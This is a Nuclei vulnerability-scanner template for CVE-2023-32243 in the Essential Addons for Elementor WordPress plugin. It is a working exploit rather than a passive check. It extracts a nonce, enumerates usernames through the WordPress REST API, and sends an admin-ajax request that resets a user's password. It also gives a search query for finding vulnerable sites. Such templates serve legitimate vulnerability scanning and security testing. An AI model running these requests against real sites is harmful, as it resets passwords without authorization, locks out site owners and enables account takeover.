nuclei-templates/http/cves/2023/CVE-2023-32243.yaml

id: CVE-2023-32243

info:
  name: WordPress Elementor Lite 5.7.1 Arbitrary Password Reset
  author: DhiyaneshDK
  severity: critical
  description: |
    Improper Authentication vulnerability in WPDeveloper Essential Addons for Elementor allows Privilege Escalation. This issue affects Essential Addons for Elementor: from 5.4.0 through 5.7.1.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-32243
    - https://patchstack.com/articles/critical-privilege-escalation-in-essential-addons-for-elementor-plugin-affecting-1-million-sites?_s_id=cve
    - https://github.com/RandomRobbieBF/CVE-2023-32243/blob/main/exploit.py
    - https://wordpress.org/plugins/essential-addons-for-elementor-lite/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-32243
    cwe-id: CWE-287
  metadata:
    max-request: 3
    google-query: inurl:/wp-content/plugins/essential-addons-for-elementor-lite
    verified: "true"
  tags: wpscan,cve2023,wordpress,wp-plugin,auth-bypass

variables:
  password: "{{randstr}}"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /wp-json/wp/v2/users/ HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /wp-admin/admin-ajax.php HTTP/2
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Accept-Encoding: gzip
        User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36

        action=login_or_register_user&eael-resetpassword-submit=true&page_id=124&widget_id=224&eael-resetpassword-nonce={{nonce}}&eael-pass1={{password}}&eael-pass2={{password}}&rp_login={{wordpress-username}}

    host-redirects: true
    max-redirects: 2

    extractors:
      - type: regex
        name: nonce
        part: body_1
        group: 1
        regex:
          - 'nonce":"([0-9a-z]+)'
        internal: true

      - type: json
        part: body_2
        name: wordpress-username
        group: 1
        json:
          - '.[] | .slug'
          - '.[].name'
        internal: true

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - '"success":true'
          - '"data":'
        condition: and